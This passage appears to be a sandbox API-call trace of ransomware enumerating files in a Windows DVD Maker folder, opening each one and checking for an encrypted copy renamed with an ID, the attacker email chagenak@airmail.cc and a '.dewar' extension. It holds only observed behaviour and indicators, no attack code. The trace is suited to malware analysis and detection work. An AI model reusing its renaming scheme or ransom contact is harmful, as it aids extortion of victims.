maker\\shared\\dvdstyles\\babygirl\\highlight.png")) returned 0x20 [0247.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0247.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0247.306] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=9115) returned 1 [0247.306] CloseHandle (hObject=0x1f0) returned 1 [0247.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png")) returned 0x20 [0247.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png")) returned 0x20 [0247.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0247.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.308] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0247.311] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1369) returned 1 [0247.311] CloseHandle (hObject=0x1f0) returned 1 [0247.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png")) returned 0x20 [0247.312] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png")) returned 0x20 [0247.312] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0247.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.313] SetEvent (hEvent=0x118) returned 1 [0247.313] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0247.314] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1285) returned 1 [0247.314] CloseHandle (hObject=0x1f0) returned 1 [0247.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png")) returned 0x20 [0247.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png")) returned 0x20 [0247.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0247.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.316] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0247.318] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4726) returned 1 [0247.318] CloseHandle (hObject=0x1f0) returned 1 [0247.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp")) returned 0x20 [0247.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp")) returned 0x20 [0247.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0247.319] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.319] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0247.320] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=27281) returned 1 [0247.320] CloseHandle (hObject=0x1f0) returned 1 [0247.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png")) returned 0x20 [0247.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png")) returned 0x20 [0247.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0247.321] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.322] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0249.115] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3878) returned 1 [0249.115] CloseHandle (hObject=0x1f0) returned 1 [0249.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png")) returned 0x20 [0249.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png")) returned 0x20 [0249.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.136] SetEvent (hEvent=0x118) returned 1 [0249.136] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0249.137] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=27281) returned 1 [0249.137] CloseHandle (hObject=0x1f0) returned 1 [0249.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png")) returned 0x20 [0249.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png")) returned 0x20 [0249.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.139] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0249.139] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5072) returned 1 [0249.139] CloseHandle (hObject=0x1f0) returned 1 [0249.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp")) returned 0x20 [0249.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp")) returned 0x20 [0249.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0249.142] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3878) returned 1 [0249.142] CloseHandle (hObject=0x1f0) returned 1 [0249.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png")) returned 0x20 [0249.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png")) returned 0x20 [0249.143] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.143] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.144] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0249.147] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3215) returned 1 [0249.148] CloseHandle (hObject=0x1f0) returned 1 [0249.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png")) returned 0x20 [0249.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png")) returned 0x20 [0249.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.149] SetEvent (hEvent=0x118) returned 1 [0249.149] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0249.150] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5059) returned 1 [0249.150] CloseHandle (hObject=0x1f0) returned 1 [0249.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png")) returned 0x20 [0249.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png")) returned 0x20 [0249.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.151] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.151] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0249.152] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5072) returned 1 [0249.152] CloseHandle (hObject=0x1f0) returned 1 [0249.152] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp")) returned 0x20 [0249.152] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp")) returned 0x20 [0249.153] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.153] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.154] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0249.154] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=23711) returned 1 [0249.154] CloseHandle (hObject=0x1f0) returned 1 [0249.155] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png")) returned 0x20 [0249.155] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png")) returned 0x20 [0249.155] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.155] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.157] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0249.157] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=16940) returned 1 [0249.157] CloseHandle (hObject=0x1f0) returned 1 [0249.157] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx")) returned 0x20 [0249.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx")) returned 0x20 [0249.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.159] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0249.169] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4570) returned 1 [0249.170] CloseHandle (hObject=0x1f0) returned 1 [0249.170] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png")) returned 0x20 [0249.170] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png")) returned 0x20 [0249.170] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0249.170] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.171] SetEvent (hEvent=0x118) returned 1 [0249.459] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD 